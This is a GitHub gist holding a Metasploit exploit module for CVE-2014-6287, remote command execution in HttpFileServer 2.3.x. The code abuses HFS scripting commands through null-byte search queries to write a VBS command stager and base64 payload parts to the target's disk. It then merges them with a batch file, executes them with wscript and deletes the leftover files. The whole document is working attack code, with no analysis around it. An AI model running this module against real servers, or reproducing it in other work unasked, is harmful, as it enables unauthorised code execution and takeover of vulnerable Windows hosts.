Skip to content

Instantly share code, notes, and snippets.

@mfadzilr
Last active August 29, 2015 14:06
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mfadzilr/6b8fbc3ce9ee89623585 to your computer and use it in GitHub Desktop.
Save mfadzilr/6b8fbc3ce9ee89623585 to your computer and use it in GitHub Desktop.
HFS metasploit cmdtstager
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Reank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "HttpFileServer 2.3.x Remote Command Execution",
'Description' => %q{
HFS is vulnerable to remote command execution attack due to a poor regex in the file
ParserLib.pas. This module exploit the HFS scripting commands by using '%00' to bypass
the filtering.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniele Linguaglossa <danielelinguaglossa[at]gmail.com>', # orginal discovery
'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # metasploit module
],
'References' =>
[
['URL', 'http://seclists.org/bugtraq/2014/Sep/85'],
['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands'],
['CVE', '2014-6287'],
],
'Payload' => { 'BadChars' => "\x0d\x0a\x00" },
# Tested HFS 2.3b on Microsoft Windows XP [Version 5.1.2600]
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
],
'Privileged' => false,
'DefaultOptions' =>
{
#'InitialAutoRunScript' => 'migrate -f',
'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
},
'DisclosureDate' => "Sep 11 2014",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
OptString.new('SAVE_PATH', [true, 'Target writable path, must end with \\. e.g c:\\path\\', 'c:\\'])
], self.class)
end
def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/'
})
if res.headers['Server'] =~ /HFS 2\.3/ # added proper regex
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def get_vbs_string(str)
vbs_str = ""
str.each_byte { |b|
vbs_str << "Chr(#{b})+"
}
return vbs_str.chomp("+")
end
def execute_cmdstager_begin(opts)
@fcounter = 100
@var_decoder = @stager_instance.instance_variable_get(:@var_decoder)
@var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
@var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
decoded_file = "#{@var_decoded}.exe"
encoded_file = "#{@var_encoded}.b64"
@cmd_list.each { |command|
command.gsub!("Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37)", get_vbs_string("#{datastore['SAVE_PATH']}"))
command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file))
command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file))
}
end
def execute_cmdstager_end(opts)
vbs_file = @var_decoder
exe_file = @var_decoded
b64_file = @var_encoded
merge_files = "cmd /q /c copy #{datastore['SAVE_PATH']}#{b64_file}.*.b64 #{datastore['SAVE_PATH']}#{b64_file}.b64\x0d\x0acmd /q /c copy #{datastore['SAVE_PATH']}#{vbs_file}.*.vbs #{datastore['SAVE_PATH']}#{vbs_file}.vbs"
batname = rand_text_alpha(rand(10)+5)
payloads = [
"save|#{datastore['SAVE_PATH']}#{batname}.bat|#{merge_files}", # create merge file
"exec|#{datastore['SAVE_PATH']}#{batname}.bat", # execute merge file
"exec|wscript.exe //B //nologo #{datastore['SAVE_PATH']}#{vbs_file}.vbs", # execute vbs file
"delete|#{datastore['SAVE_PATH']}#{b64_file}*.b64", # delete all b64 file parts
"delete|#{datastore['SAVE_PATH']}#{batname}.bat", # delete all bat file parts
"delete|#{datastore['SAVE_PATH']}#{vbs_file}*.vbs", # delete all vbs file parts
]
payloads.each do |payload|
send_request_cgi({
'method' => 'GET',
'uri' => "/?search=%00{.#{URI::encode(payload)}.}"
})
end
end
def execute_command(cmd, opts = {})
cmd_list = cmd.split(' & ')
cmd_list.each do |cmds|
if cmds =~ /^echo\ /i
@fcounter += 1
filename = "#{cmds.split('>>')[1].split('.')[0]}.#{@fcounter}.#{cmds.split('>>')[1].split('.')[1]}"
content = "#{cmds.split('echo ')[1].split('>>')[0]}"
if !content.nil?
content.gsub!(/\ /, '%20')
content.gsub!(/\+/, '%2B')
content.gsub!(/\=/, '%3D')
end
send_request_cgi({
'method' => 'GET',
'uri' => "/?search=%00{.save|#{filename}|#{content}%0d%0a.}"
})
end
end
end
def exploit
execute_cmdstager({ :linemax => 1500, :temp => "#{datastore['SAVE_PATH']}" })
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment